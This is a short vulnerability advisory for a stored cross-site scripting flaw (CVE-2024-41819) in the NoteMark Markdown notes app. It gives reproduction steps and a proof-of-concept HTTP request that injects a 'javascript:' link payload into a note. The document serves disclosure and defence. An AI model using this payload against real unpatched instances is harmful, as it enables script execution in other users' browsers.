CVE-2024-41819

NoteMark - Stored XSS

NoteMark is a web-based Markdown notes app.

A stored cross-site scripting (XSS) vulnerability in Note Mark allows attackers to execute arbitrary scripts via a crafted payload injected into the URL value of a link in the markdown content.

This vulnerability affects version 0.13.0 and below and was fixed in 0.13.1.

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Steps to Reproduce

1. Log in to the application.

2. Create a new note or enter a previously created note.

3. Access the note editor functionality from the selected note by clicking on the "Editor" tab.

4. Input the following payload: [xss-link](javascript:alert(1))

5. Save the changes

6. Click on the "Rendered" tab to view the rendered markdown version of the note. Click on the previously created link to pop the injected alert.

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Proof of Concept

PUT /api/notes/<note-uuid>/content HTTP/1.1
Host: localhost:8000
Accept: */*
Content-Type: text/plain;charset=UTF-8
Content-Length: 34
Sec-Fetch-Site: same-origin
Authorization: Bearer <TOKEN>


[xss-link](javascript:alert(1))

References

• https://github.com/enchant97/note-mark
• https://nvd.nist.gov/vuln/detail/CVE-2024-41819
• https://www.exploit-db.com/exploits/52078
• https://github.com/enchant97/note-mark/security/advisories/GHSA-rm48-9mqf-8jc3
• https://notemark.docs.enchantedcode.co.uk/